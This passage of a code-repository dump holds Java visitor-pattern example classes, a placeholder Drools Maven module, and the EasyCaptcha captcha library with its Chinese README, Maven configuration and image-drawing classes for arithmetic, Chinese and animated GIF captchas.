    "content": "package visitor;\n\npublic class ConcreteElementB extends Element {\n\n\t@Override\n\tpublic void accept(Visitor visitor) {\n\t\tvisitor.visitConcreteElementB(this);\n\t}\n\n\tpublic void operateB() {\n\t\tSystem.out.println(\"this is B's operation\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/visitor/ConcreteVisitor1.java",
    "content": "package visitor;\n\npublic class ConcreteVisitor1 implements Visitor {\n\n\t@Override\n\tpublic void visitConcreteElementA(ConcreteElementA concreteElementA) {\n\t\tSystem.out.println(\"concreteElementA\" + \"其他操作\");\n\t\tconcreteElementA.operateA();\n\t}\n\n\t@Override\n\tpublic void visitConcreteElementB(ConcreteElementB concreteElementB) {\n\t\tSystem.out.println(\"concreteElementB\" + \"其他操作\");\n\t\tconcreteElementB.operateB();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/visitor/Element.java",
    "content": "package visitor;\n\npublic abstract class Element {\n\tpublic abstract void accept(Visitor visitor);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/visitor/ObjectStructure.java",
    "content": "package visitor;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class ObjectStructure {\n\tList<Element> elements = new ArrayList<Element>();\n\t\n\tpublic void handleElements(Visitor visitor) {\n\t\tfor (Element element : elements) {\n\t\t\telement.accept(visitor);\n\t\t}\n\t}\n\t\n\tpublic void addElement(Element element) {\n\t\telements.add(element);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/visitor/TestVisitor.java",
    "content": "package visitor;\n\npublic class TestVisitor {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\tObjectStructure os = new ObjectStructure();\n\t\tos.addElement(new ConcreteElementA());\n\t\tos.addElement(new ConcreteElementB());\n\t\t\n\t\tos.handleElements(new ConcreteVisitor1());\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/visitor/Visitor.java",
    "content": "package visitor;\n\npublic interface Visitor {\n\tvoid visitConcreteElementA(ConcreteElementA concreteElementA);\n\tvoid visitConcreteElementB(ConcreteElementB concreteElementB);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/visitor/summary.txt",
    "content": "访问者模式的定义：表示一个作用于某对象结构中的多个元素的操作。它使你可以在不改变个元素的类的前提下定义作用于这些元素的新操作。\n访问者模式的本质：预留通路，回调实现。"
  },
  {
    "path": "jun_java_plugins/jun_drools/README.md",
    "content": "TODO"
  },
  {
    "path": "jun_java_plugins/jun_drools/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_drools</artifactId>\n\t<version>1.0</version>\n\t<packaging>pom</packaging>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t</properties>\n\n\t<modules>\n\t\t<!-- <module>jun_captcha_code</module> -->\n\t</modules>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>3.8.1</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t\t<version>3.1.0</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n\t</dependencies>\n\n\n\t<profiles>\n\t\t<profile>\n\t\t\t<id>jdk-1.8</id>\n\t\t\t<activation>\n\t\t\t\t<activeByDefault>true</activeByDefault>\n\t\t\t\t<jdk>1.8</jdk>\n\t\t\t</activation>\n\t\t\t<properties>\n\t\t\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t\t\t\t<maven.compiler.compilerVersion>1.8</maven.compiler.compilerVersion>\n\t\t\t</properties>\n\t\t</profile>\n\t</profiles>\n\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.8.0</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.8</source>\n\t\t\t\t\t<target>1.8</target>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/README.md",
    "content": "# EasyCaptcha\n\n![MavenCentral](https://img.shields.io/maven-central/v/com.github.whvcse/easy-captcha?style=flat-square)\n![Hex.pm](https://img.shields.io/hexpm/l/plug.svg?style=flat-square)\n\n\n## 1.简介\n&emsp;Java图形验证码，支持gif、中文、算术等类型，可用于Java Web、JavaSE等项目。\n\n---\n\n## 2.效果展示\n\n![验证码](https://s2.ax1x.com/2019/08/23/msFrE8.png) \n&emsp;&emsp;\n![验证码](https://s2.ax1x.com/2019/08/23/msF0DP.png)\n&emsp;&emsp;\n![验证码](https://s2.ax1x.com/2019/08/23/msFwut.png)\n<br/>\n![验证码](https://s2.ax1x.com/2019/08/23/msFzVK.gif) \n&emsp;&emsp;\n![验证码](https://s2.ax1x.com/2019/08/23/msFvb6.gif)\n&emsp;&emsp;\n![验证码](https://s2.ax1x.com/2019/08/23/msFXK1.gif)\n\n**算术类型：**\n\n![验证码](https://s2.ax1x.com/2019/08/23/mskKPg.png)\n&emsp;&emsp;\n![验证码](https://s2.ax1x.com/2019/08/23/msknIS.png)\n&emsp;&emsp;\n![验证码](https://s2.ax1x.com/2019/08/23/mskma8.png)\n\n**中文类型：**\n\n![验证码](https://s2.ax1x.com/2019/08/23/mskcdK.png)\n&emsp;&emsp;\n![验证码](https://s2.ax1x.com/2019/08/23/msk6Z6.png)\n&emsp;&emsp;\n![验证码](https://s2.ax1x.com/2019/08/23/msksqx.png)\n\n**内置字体：**\n\n![验证码](https://s2.ax1x.com/2019/08/23/msAVSJ.png)\n&emsp;&emsp;\n![验证码](https://s2.ax1x.com/2019/08/23/msAAW4.png)\n&emsp;&emsp;\n![验证码](https://s2.ax1x.com/2019/08/23/msAkYF.png)\n\n\n---\n\n## 3.导入项目\n\n### 3.1.gradle方式的引入\n```text\ndependencies {\n    compile 'com.github.whvcse:easy-captcha:1.6.2'\n}\n```\n\n### 3.2.maven方式引入\n```xml\n<dependencies>\n   <dependency>\n      <groupId>com.github.whvcse</groupId>\n      <artifactId>easy-captcha</artifactId>\n      <version>1.6.2</version>\n   </dependency>\n</dependencies>\n```\n\n### 3.3.jar包下载\n[easy-captcha-1.6.2.jar](https://gitee.com/whvse/EasyCaptcha/releases)\n\nmaven导入jar包，在项目根目录创建`libs`文件夹，然后pom.xml添加如下：\n```\n<dependency>\n  <groupId>com.github.whvcse</groupId>\n  <artifactId>easy-captcha</artifactId>\n  <version>1.6.1</version>\n  <systemPath>${basedir}/libs/easy-captcha-1.6.2.jar</systemPath>\n</dependency>\n```\n\n---\n\n## 4.使用方法\n\n### 4.1.在SpringMVC中使用\n```java\n@Controller\npublic class CaptchaController {\n    \n    @RequestMapping(\"/captcha\")\n    public void captcha(HttpServletRequest request, HttpServletResponse response) throws Exception {\n        CaptchaUtil.out(request, response);\n    }\n}\n```\n前端html代码：\n```html\n<img src=\"/captcha\" width=\"130px\" height=\"48px\" />\n```\n\n> 不要忘了把`/captcha`路径排除登录拦截，比如shiro的拦截。\n\n### 4.2.在servlet中使用\nweb.xml中配置servlet：\n```xml\n<web-app>\n    <!-- 图形验证码servlet -->\n    <servlet>\n        <servlet-name>CaptchaServlet</servlet-name>\n        <servlet-class>com.wf.captcha.servlet.CaptchaServlet</servlet-class>\n    </servlet>\n    <servlet-mapping>\n        <servlet-name>CaptchaServlet</servlet-name>\n        <url-pattern>/captcha</url-pattern>\n    </servlet-mapping>\n</web-app>\n\n```\n前端html代码：\n```html\n<img src=\"/captcha\" width=\"130px\" height=\"48px\" />\n```\n\n### 4.3.判断验证码是否正确\n\n```java\n@Controller\npublic class LoginController {\n    \n    @PostMapping(\"/login\")\n    public JsonResult login(String username,String password,String verCode){\n        if (!CaptchaUtil.ver(verCode, request)) {\n            CaptchaUtil.clear(request);  // 清除session中的验证码\n            return JsonResult.error(\"验证码不正确\");\n        }\n    }   \n}\n```\n\n### 4.4.设置宽高和位数\n```java\n@Controller\npublic class CaptchaController {\n    \n    @RequestMapping(\"/captcha\")\n    public void captcha(HttpServletRequest request, HttpServletResponse response) throws Exception {\n        // 设置位数\n        CaptchaUtil.out(5, request, response);\n        // 设置宽、高、位数\n        CaptchaUtil.out(130, 48, 5, request, response);\n        \n        // 使用gif验证码\n        GifCaptcha gifCaptcha = new GifCaptcha(130,48,4);\n        CaptchaUtil.out(gifCaptcha, request, response);\n    }\n}\n```\n\n### 4.5.不使用工具类\n&emsp;CaptchaUtil封装了输出验证码、存session、判断验证码等功能，也可以不使用此工具类：\n\n```java\n@Controller\npublic class CaptchaController {\n    \n    @RequestMapping(\"/captcha\")\n    public void captcha(HttpServletRequest request, HttpServletResponse response) throws Exception {\n        // 设置请求头为输出图片类型\n        response.setContentType(\"image/gif\");\n        response.setHeader(\"Pragma\", \"No-cache\");\n        response.setHeader(\"Cache-Control\", \"no-cache\");\n        response.setDateHeader(\"Expires\", 0);\n        \n        // 三个参数分别为宽、高、位数\n        SpecCaptcha specCaptcha = new SpecCaptcha(130, 48, 5);\n        // 设置字体\n        specCaptcha.setFont(new Font(\"Verdana\", Font.PLAIN, 32));  // 有默认字体，可以不用设置\n        // 设置类型，纯数字、纯字母、字母数字混合\n        specCaptcha.setCharType(Captcha.TYPE_ONLY_NUMBER);\n        \n        // 验证码存入session\n        request.getSession().setAttribute(\"captcha\", specCaptcha.text().toLowerCase());\n        \n        // 输出图片流\n        specCaptcha.out(response.getOutputStream());\n    }\n    \n    @PostMapping(\"/login\")\n    public JsonResult login(String username,String password,String verCode){\n        // 获取session中的验证码\n        String sessionCode = request.getSession().getAttribute(\"captcha\");\n        // 判断验证码\n        if (verCode==null || !sessionCode.equals(verCode.trim().toLowerCase())) {\n            return JsonResult.error(\"验证码不正确\");\n        }\n    }  \n}\n```\n\n## 5.更多设置\n\n### 5.1.验证码类型\n\n```java\npublic class Test {\n    \n    public static void main(String[] args) {\n        // png类型\n        SpecCaptcha captcha = new SpecCaptcha(130, 48);\n        captcha.text();  // 获取验证码的字符\n        captcha.textChar();  // 获取验证码的字符数组\n        \n        // gif类型\n        GifCaptcha captcha = new GifCaptcha(130, 48);\n        \n        // 中文类型\n        ChineseCaptcha captcha = new ChineseCaptcha(130, 48);\n        \n        // 中文gif类型\n        ChineseGifCaptcha captcha = new ChineseGifCaptcha(130, 48);\n        \n        // 算术类型\n        ArithmeticCaptcha captcha = new ArithmeticCaptcha(130, 48);\n        captcha.setLen(3);  // 几位数运算，默认是两位\n        captcha.getArithmeticString();  // 获取运算的公式：3+2=?\n        captcha.text();  // 获取运算的结果：5\n        \n        captcha.out(outputStream);  // 输出验证码\n    }\n}\n```\n\n> 注意：<br/>\n> &emsp;算术验证码的len表示是几位数运算，而其他验证码的len表示验证码的位数，算术验证码的text()表示的是公式的结果，\n> 对于算术验证码，你应该把公式的结果存储session，而不是公式。\n\n### 5.2.验证码字符类型\n\n 类型 | 描述 \n :--- | :--- \n TYPE_DEFAULT | 数字和字母混合 \n TYPE_ONLY_NUMBER | 纯数字\n TYPE_ONLY_CHAR | 纯字母 \n TYPE_ONLY_UPPER | 纯大写字母\n TYPE_ONLY_LOWER | 纯小写字母\n TYPE_NUM_AND_UPPER | 数字和大写字母\n\n使用方法：\n```\nSpecCaptcha captcha = new SpecCaptcha(130, 48, 5);\ncaptcha.setCharType(Captcha.TYPE_ONLY_NUMBER);\n```\n\n> 只有`SpecCaptcha`和`GifCaptcha`设置才有效果。\n\n### 5.3.字体设置\n内置字体：\n\n 字体 | 效果 \n :--- | :--- \n Captcha.FONT_1 |  ![](https://s2.ax1x.com/2019/08/23/msMe6U.png)\n Captcha.FONT_2 | ![](https://s2.ax1x.com/2019/08/23/msMAf0.png)\n Captcha.FONT_3 |  ![](https://s2.ax1x.com/2019/08/23/msMCwj.png)\n Captcha.FONT_4 | ![](https://s2.ax1x.com/2019/08/23/msM9mQ.png)\n Captcha.FONT_5 | ![](https://s2.ax1x.com/2019/08/23/msKz6S.png)\n Captcha.FONT_6 | ![](https://s2.ax1x.com/2019/08/23/msKxl8.png)\n Captcha.FONT_7 | ![](https://s2.ax1x.com/2019/08/23/msMPTs.png)\n Captcha.FONT_8 | ![](https://s2.ax1x.com/2019/08/23/msMmXF.png)\n Captcha.FONT_9 | ![](https://s2.ax1x.com/2019/08/23/msMVpV.png)\n Captcha.FONT_10 | ![](https://s2.ax1x.com/2019/08/23/msMZlT.png)\n\n使用方法：\n```\nSpecCaptcha captcha = new SpecCaptcha(130, 48, 5);\n\n// 设置内置字体\ncaptcha.setFont(Captcha.FONT_1); \n\n// 设置系统字体\ncaptcha.setFont(new Font(\"楷体\", Font.PLAIN, 28)); \n```\n\n### 5.4.输出base64编码\n```\nSpecCaptcha specCaptcha = new SpecCaptcha(130, 48, 5);\nspecCaptcha.toBase64();\n\n// 如果不想要base64的头部data:image/png;base64,\nspecCaptcha.toBase64(\"\");  // 加一个空的参数即可\n```\n\n### 5.5.输出到文件\n```\nFileOutputStream outputStream = new FileOutputStream(new File(\"C:/captcha.png\"))\nSpecCaptcha specCaptcha = new SpecCaptcha(130, 48, 5);\nspecCaptcha.out(outputStream);\n```\n\n---\n\n## 6.前后端分离项目的使用\n\n&emsp;前后端分离项目建议不要存储在session中，存储在redis中，redis存储需要一个key，key一同返回给前端用于验证输入：\n```java\n@Controller\npublic class CaptchaController {\n    @Autowired\n    private RedisUtil redisUtil;\n    \n    @ResponseBody\n    @RequestMapping(\"/captcha\")\n    public JsonResult captcha(HttpServletRequest request, HttpServletResponse response) throws Exception {\n        SpecCaptcha specCaptcha = new SpecCaptcha(130, 48, 5);\n        String verCode = specCaptcha.text().toLowerCase();\n        String key = UUID.randomUUID().toString();\n        // 存入redis并设置过期时间为30分钟\n        redisUtil.setEx(key, verCode, 30, TimeUnit.MINUTES);\n        // 将key和base64返回给前端\n        return JsonResult.ok().put(\"key\", key).put(\"image\", specCaptcha.toBase64());\n    }\n    \n    @ResponseBody\n    @PostMapping(\"/login\")\n    public JsonResult login(String username,String password,String verCode,String verKey){\n        // 获取redis中的验证码\n        String redisCode = redisUtil.get(verKey);\n        // 判断验证码\n        if (verCode==null || !redisCode.equals(verCode.trim().toLowerCase())) {\n            return JsonResult.error(\"验证码不正确\");\n        }\n    }  \n}\n```\n前端使用ajax获取验证码：\n```html\n<img id=\"verImg\" width=\"130px\" height=\"48px\"/>\n\n<script>\n    var verKey;\n    // 获取验证码\n    $.get('/captcha', function(res) {\n        verKey = res.key;\n        $('#verImg').attr('src', res.image);\n    },'json');\n    \n    // 登录\n    $.post('/login', {\n        verKey: verKey,\n        verCode: '8u6h',\n        username: 'admin'，\n        password: 'admin'\n    }, function(res) {\n        console.log(res);\n    }, 'json');\n</script>\n```\n\n> RedisUtil到这里获取[https://gitee.com/whvse/RedisUtil](https://gitee.com/whvse/RedisUtil)\n\n---\n\n## 7.自定义效果\n\n&emsp;继承`Captcha`实现`out`方法，中文验证码可继承`ChineseCaptchaAbstract`，算术验证码可继承`ArithmeticCaptchaAbstract`。\n\n---\n\n## 8.更新日志\n\n- **2019-08-23 (v1.6.2)**\n    - 增加10种漂亮的内置字体，不依赖系统字体\n    \n    - 增加算术验证码，运算位数可自由配置\n    - 增加输出base64编码的功能\n    - 增加贝塞尔曲线作为干扰线\n    \n- **2018-08-09 (v1.5.0)**\n    - 增加纯大写字母、纯小写字母、数字和大写字母配置\n    \n    - 增加中文验证码、中文gif验证码\n    - 增加抗锯齿效果，优化文字颜色\n    - 增加CaptchaUtil便于Web项目使用\n"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_easycaptcha</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n\t\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <source>8</source>\n                    <target>8</target>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <!-- j2ee环境 -->\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n            <version>3.1.0</version>\n            <scope>provided</scope>\n        </dependency>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>4.12</version>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n    <profiles>\n        <profile>\n            <id>release</id>\n            <build>\n                <plugins>\n                    <!-- Source -->\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-source-plugin</artifactId>\n                        <version>2.2.1</version>\n                        <executions>\n                            <execution>\n                                <phase>package</phase>\n                                <goals>\n                                    <goal>jar-no-fork</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                    <!-- Javadoc -->\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-javadoc-plugin</artifactId>\n                        <version>2.9.1</version>\n                        <executions>\n                            <execution>\n                                <phase>package</phase>\n                                <goals>\n                                    <goal>jar</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                    <!-- GPG -->\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-gpg-plugin</artifactId>\n                        <version>1.5</version>\n                        <executions>\n                            <execution>\n                                <phase>verify</phase>\n                                <goals>\n                                    <goal>sign</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                </plugins>\n            </build>\n            <distributionManagement>\n                <snapshotRepository>\n                    <id>oss</id>\n                    <url>https://oss.sonatype.org/content/repositories/snapshots/</url>\n                </snapshotRepository>\n                <repository>\n                    <id>oss</id>\n                    <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n                </repository>\n            </distributionManagement>\n        </profile>\n    </profiles>\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/src/main/java/com/wf/captcha/ArithmeticCaptcha.java",
    "content": "package com.wf.captcha;\n\nimport com.wf.captcha.base.ArithmeticCaptchaAbstract;\n\nimport javax.imageio.ImageIO;\nimport java.awt.*;\nimport java.awt.image.BufferedImage;\nimport java.io.IOException;\nimport java.io.OutputStream;\n\n/**\n * png格式验证码\n * Created by 王帆 on 2018-07-27 上午 10:08.\n */\npublic class ArithmeticCaptcha extends ArithmeticCaptchaAbstract {\n\n    public ArithmeticCaptcha() {\n    }\n\n    public ArithmeticCaptcha(int width, int height) {\n        this();\n        setWidth(width);\n        setHeight(height);\n    }\n\n    public ArithmeticCaptcha(int width, int height, int len) {\n        this(width, height);\n        setLen(len);\n    }\n\n    public ArithmeticCaptcha(int width, int height, int len, Font font) {\n        this(width, height, len);\n        setFont(font);\n    }\n\n    /**\n     * 生成验证码\n     *\n     * @param out 输出流\n     * @return 是否成功\n     */\n    @Override\n    public boolean out(OutputStream out) {\n        checkAlpha();\n        return graphicsImage(getArithmeticString().toCharArray(), out);\n    }\n\n    @Override\n    public String toBase64() {\n        return toBase64(\"data:image/png;base64,\");\n    }\n\n    /**\n     * 生成验证码图形\n     *\n     * @param strs 验证码\n     * @param out  输出流\n     * @return boolean\n     */\n    private boolean graphicsImage(char[] strs, OutputStream out) {\n        try {\n            BufferedImage bi = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);\n            Graphics2D g2d = (Graphics2D) bi.getGraphics();\n            // 填充背景\n            g2d.setColor(Color.WHITE);\n            g2d.fillRect(0, 0, width, height);\n            // 抗锯齿\n            g2d.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON);\n            // 画干扰圆\n            drawOval(2, g2d);\n            // 画字符串\n            g2d.setFont(getFont());\n            FontMetrics fontMetrics = g2d.getFontMetrics();\n            int fW = width / strs.length;  // 每一个字符所占的宽度\n            int fSp = (fW - (int) fontMetrics.getStringBounds(\"8\", g2d).getWidth()) / 2;  // 字符的左右边距\n            for (int i = 0; i < strs.length; i++) {\n                g2d.setColor(color());\n                int fY = height - ((height - (int) fontMetrics.getStringBounds(String.valueOf(strs[i]), g2d).getHeight()) >> 1);  // 文字的纵坐标\n                g2d.drawString(String.valueOf(strs[i]), i * fW + fSp + 3, fY - 3);\n            }\n            g2d.dispose();\n            ImageIO.write(bi, \"png\", out);\n            out.flush();\n            return true;\n        } catch (IOException e) {\n            e.printStackTrace();\n        } finally {\n            try {\n                out.close();\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n        }\n        return false;\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/src/main/java/com/wf/captcha/ChineseCaptcha.java",
    "content": "package com.wf.captcha;\n\nimport com.wf.captcha.base.ChineseCaptchaAbstract;\n\nimport javax.imageio.ImageIO;\nimport java.awt.*;\nimport java.awt.image.BufferedImage;\nimport java.io.IOException;\nimport java.io.OutputStream;\n\npublic class ChineseCaptcha extends ChineseCaptchaAbstract {\n\n    public ChineseCaptcha() {\n        super();\n    }\n\n    public ChineseCaptcha(int width, int height) {\n        this();\n        setWidth(width);\n        setHeight(height);\n    }\n\n    public ChineseCaptcha(int width, int height, int len) {\n        this(width, height);\n        setLen(len);\n    }\n\n    public ChineseCaptcha(int width, int height, int len, Font font) {\n        this(width, height, len);\n        setFont(font);\n    }\n\n    /**\n     * 生成验证码\n     *\n     * @param out 输出流\n     * @return 是否成功\n     */\n    @Override\n    public boolean out(OutputStream out) {\n        return graphicsImage(textChar(), out);\n    }\n\n    @Override\n    public String toBase64() {\n        return toBase64(\"data:image/png;base64,\");\n    }\n\n    /**\n     * 生成验证码图形\n     *\n     * @param strs 验证码\n     * @param out  输出流\n     * @return boolean\n     */\n    private boolean graphicsImage(char[] strs, OutputStream out) {\n        try {\n            BufferedImage bi = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);\n            Graphics2D g2d = (Graphics2D) bi.getGraphics();\n            // 填充背景\n            g2d.setColor(Color.WHITE);\n            g2d.fillRect(0, 0, width, height);\n            // 抗锯齿\n            g2d.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON);\n            // 画干扰圆\n            drawOval(3, g2d);\n            // 画干扰线\n            g2d.setStroke(new BasicStroke(1.2f, BasicStroke.CAP_BUTT, BasicStroke.JOIN_BEVEL));\n            drawBesselLine(1, g2d);\n            // 画字符串\n            g2d.setFont(getFont());\n            FontMetrics fontMetrics = g2d.getFontMetrics();\n            int fW = width / strs.length;  // 每一个字符所占的宽度\n            int fSp = (fW - (int) fontMetrics.getStringBounds(\"王\", g2d).getWidth()) / 2;  // 字符的左右边距\n            for (int i = 0; i < strs.length; i++) {\n                g2d.setColor(color());\n                int fY = height - ((height - (int) fontMetrics.getStringBounds(String.valueOf(strs[i]), g2d).getHeight()) >> 1);  // 文字的纵坐标\n                g2d.drawString(String.valueOf(strs[i]), i * fW + fSp + 3, fY - 3);\n            }\n            g2d.dispose();\n            ImageIO.write(bi, \"png\", out);\n            out.flush();\n            return true;\n        } catch (IOException e) {\n            e.printStackTrace();\n        } finally {\n            try {\n                out.close();\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n        }\n        return false;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/src/main/java/com/wf/captcha/ChineseGifCaptcha.java",
    "content": "package com.wf.captcha;\n\nimport com.wf.captcha.base.ChineseCaptchaAbstract;\nimport com.wf.captcha.utils.GifEncoder;\n\nimport java.awt.*;\nimport java.awt.geom.CubicCurve2D;\nimport java.awt.image.BufferedImage;\nimport java.io.IOException;\nimport java.io.OutputStream;\n\npublic class ChineseGifCaptcha extends ChineseCaptchaAbstract {\n\n    public ChineseGifCaptcha() {\n    }\n\n    public ChineseGifCaptcha(int width, int height) {\n        setWidth(width);\n        setHeight(height);\n    }\n\n    public ChineseGifCaptcha(int width, int height, int len) {\n        this(width, height);\n        setLen(len);\n    }\n\n    public ChineseGifCaptcha(int width, int height, int len, Font font) {\n        this(width, height, len);\n        setFont(font);\n    }\n\n    @Override\n    public boolean out(OutputStream os) {\n        try {\n            char[] strs = textChar();  // 获取验证码数组\n            // 随机生成每个文字的颜色\n            Color fontColor[] = new Color[len];\n            for (int i = 0; i < len; i++) {\n                fontColor[i] = color();\n            }\n            // 随机生成贝塞尔曲线参数\n            int x1 = 5, y1 = num(5, height / 2);\n            int x2 = width - 5, y2 = num(height / 2, height - 5);\n            int ctrlx = num(width / 4, width / 4 * 3), ctrly = num(5, height - 5);\n            if (num(2) == 0) {\n                int ty = y1;\n                y1 = y2;\n                y2 = ty;\n            }\n            int ctrlx1 = num(width / 4, width / 4 * 3), ctrly1 = num(5, height - 5);\n            int[][] besselXY = new int[][]{{x1, y1}, {ctrlx, ctrly}, {ctrlx1, ctrly1}, {x2, y2}};\n            // 开始画gif每一帧\n            GifEncoder gifEncoder = new GifEncoder();\n            gifEncoder.setQuality(180);\n            gifEncoder.setDelay(100);\n            gifEncoder.setRepeat(0);\n            gifEncoder.start(os);\n            for (int i = 0; i < len; i++) {\n                BufferedImage frame = graphicsImage(fontColor, strs, i, besselXY);\n                gifEncoder.addFrame(frame);\n                frame.flush();\n            }\n            gifEncoder.finish();\n            return true;\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            try {\n                os.close();\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n        }\n        return false;\n    }\n\n    @Override\n    public String toBase64() {\n        return toBase64(\"data:image/gif;base64,\");\n    }\n\n    /**\n     * 画随机码图\n     *\n     * @param fontColor 随机字体颜色\n     * @param strs      字符数组\n     * @param flag      透明度\n     * @param besselXY  干扰线参数\n     * @return BufferedImage\n     */\n    private BufferedImage graphicsImage(Color[] fontColor, char[] strs, int flag, int[][] besselXY) {\n        BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);\n        Graphics2D g2d = (Graphics2D) image.getGraphics();\n        // 填充背景颜色\n        g2d.setColor(Color.WHITE);\n        g2d.fillRect(0, 0, width, height);\n        // 抗锯齿\n        g2d.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON);\n        // 画干扰圆圈\n        g2d.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_OVER, 0.1f * num(10)));  // 设置透明度\n        drawOval(2, g2d);\n        // 画干扰线\n        g2d.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_OVER, 0.7f));  // 设置透明度\n        g2d.setStroke(new BasicStroke(1.2f, BasicStroke.CAP_BUTT, BasicStroke.JOIN_BEVEL));\n        g2d.setColor(fontColor[0]);\n        CubicCurve2D shape = new CubicCurve2D.Double(besselXY[0][0], besselXY[0][1], besselXY[1][0], besselXY[1][1], besselXY[2][0], besselXY[2][1], besselXY[3][0], besselXY[3][1]);\n        g2d.draw(shape);\n        // 画验证码\n        g2d.setFont(getFont());\n        FontMetrics fontMetrics = g2d.getFontMetrics();\n        int fW = width / strs.length;  // 每一个字符所占的宽度\n        int fSp = (fW - (int) fontMetrics.getStringBounds(\"W\", g2d).getWidth()) / 2;  // 字符的左右边距\n        for (int i = 0; i < strs.length; i++) {\n            // 设置透明度\n            AlphaComposite ac3 = AlphaComposite.getInstance(AlphaComposite.SRC_OVER, getAlpha(flag, i));\n            g2d.setComposite(ac3);\n            g2d.setColor(fontColor[i]);\n            int fY = height - ((height - (int) fontMetrics.getStringBounds(String.valueOf(strs[i]), g2d).getHeight()) >> 1);  // 文字的纵坐标\n            g2d.drawString(String.valueOf(strs[i]), i * fW + fSp - 3, fY - 3);\n        }\n        g2d.dispose();\n        return image;\n    }\n\n    /**\n     * 获取透明度,从0到1,自动计算步长\n     *\n     * @param i\n     * @param j\n     * @return 透明度\n     */\n    private float getAlpha(int i, int j) {\n        int num = i + j;\n        float r = (float) 1 / (len - 1);\n        float s = len * r;\n        return num >= len ? (num * r - s) : num * r;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/src/main/java/com/wf/captcha/GifCaptcha.java",
